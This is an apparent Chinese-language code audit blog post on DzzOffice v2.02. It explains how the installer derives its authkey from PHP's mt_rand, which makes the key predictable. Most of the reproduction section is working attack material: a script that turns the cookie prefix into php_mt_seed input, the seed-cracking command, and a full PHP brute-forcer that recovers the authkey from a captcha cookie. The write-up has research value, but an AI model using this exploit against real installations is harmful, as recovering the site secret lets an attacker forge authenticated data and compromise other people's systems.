代码审计 | DzzOffice 伪随机数攻击

DzzOffice

DzzOffice 是一套开源办公套件。

官网: http://dzz.cc/

github: https://github.com/zyx0814/dzzoffice/releases/

版本: DzzOffice v2.02

漏洞分析

其加解密模块大致和Discuz!旧版本相同,同样存在authkey被爆破攻击,只是攻击方式略有不同。

authkey生成:

源文件: install/index.php

1
2
3
4
5
6
7
8
9
10
11
$authkey = substr(md5($_SERVER['SERVER_ADDR'].$_SERVER['HTTP_USER_AGENT'].$dbhost.$dbuser.$dbpw.$dbname.$pconnect.substr($timestamp, 0, 6)), 8, 6).random(10);
$_config['db'][1]['dbhost'] = $dbhost;
$_config['db'][1]['dbname'] = $dbname;
$_config['db'][1]['dbpw'] = $dbpw;
$_config['db'][1]['dbuser'] = $dbuser;
$_config['db'][1]['port'] = $port?$port:'3306';
$_config['db'][1]['tablepre'] = $tablepre;
$_config['admincp']['founder'] = (string)$uid;
$_config['security']['authkey'] = $authkey;
$_config['cookie']['cookiepre'] = random(4).'_';
$_config['memory']['prefix'] = random(6).'_';

源文件: install/include/install_function.php

1
2
3
4
5
6
7
8
9
10
function random($length) {
$hash = '';
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
$max = strlen($chars) - 1;
PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];
}
return $hash;
}

漏洞复现

首先通过cookie前缀爆破出随机数种子:

1
$_config['cookie']['cookiepre']
1
2
3
4
5
6
7
8
9
10
<?php
$str='zRcd';
$rand_str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';

for ($i = 0; $i < strlen($str); $i++) {
$pos = strpos($rand_str, $str[$i]);
echo $pos.' '.$pos.' '.'0 '.(strlen($rand_str)-1).' ';
}

echo "\n";

php_mt_seed 地址:https://www.openwall.com/php_mt_seed/

1
./php_mt_seed 61 61 0 61 17 17 0 61 38 38 0 61 39 39 0 61 > seeds.txt

接着打开登录界面,F12打开控制台,然后在cookie里取得seccodeXXX和对的值:

1
document.write('<img src="misc.php?mod=seccode&update=82310&idhash=Sz4Dyn80" class="img-seccode" title="刷新验证码" alt="" width="150" height="34">');

通过验证码获取一对密文和明文在本地爆破,seccode生成格式如下:

源文件: core/function/function_seccode.php

1
dsetcookie('seccode'.$idhash, authcode(strtoupper($seccode)."\t".(TIMESTAMP - 180)."\t".$idhash."\t".FORMHASH, 'ENCODE', $_G['config']['security']['authkey']), 0, 1, true);

然后只需要本地暴力跑authkey前6位验证idhash就可以了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
<?php

$pre = 'zRcd';
$seccode = substr('zRcd_2132_seccodeSz4Dyn80', -8);
$string = '4b57rnl5TRniqDPTjZ5wt7rDw0IJVQEFlVoJwW4LXvaKOfwiQXpiJEBs2mqSUyFXwlzq-6_lrtmfcwesn0E';

// $key = 'fa5f4fcFeIwLv0GT';
// $res = authcode_decode($string, $key);

$seeds = explode("\n", file_get_contents('seeds.txt'));

for ($i = 0; $i < count($seeds); $i++) {
if(preg_match('/= (\d+) /', $seeds[$i], $matach)) {
mt_srand(intval($matach[1]));
$authkey = random(10);
echo $authkey;
if(random(4) == $pre){
echo "trying $authkey...\n";
$res = crack($string, $authkey, $seccode);
if($res) {
echo "authkey found: ".$res;
exit();
}
}
}
}

function crack($string, $authkey, $seccode) {
$chrs = '1234567890abcdef';
for ($a = 0; $a < 16; $a++) {
for ($b = 0; $b < 16; $b++) {
for ($c = 0; $c < 16; $c++) {
for ($d = 0; $d < 16; $d++) {
for ($e = 0; $e < 16; $e++) {
for ($f = 0; $f < 16; $f++) {
$key = $chrs[$a].$chrs[$b].$chrs[$c].$chrs[$d].$chrs[$e].$chrs[$f].$authkey;
$result = authcode_decode($string, $key);
if (strpos($result, "\t$seccode\t")) {
return $key;
}
}
}
}
}
}
}

return false;
}

function authcode_decode($string, $key) {
$key = md5($key);
$ckey_length = 4;
$keya = md5(substr($key, 0, 16));
$keyc = substr($string, 0, $ckey_length);

$cryptkey = $cryptkey = $keya . md5($keya . $keyc);
$key_length = strlen($cryptkey);

$string = base64_decode(substr(str_replace(array('_', '-'), array('/', '+'), $string), $ckey_length));
$string_length = strlen($string);

$result = '';
$box = range(0, 255);

$rndkey = array();
for ($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}

for ($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

for ($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}

return $result;
}

function random($length) {
$hash = '';
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
$max = strlen($chars) - 1;
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];
}
return $hash;
}

跑得会相对会比较慢一些,需要注意PHP版本。

参考: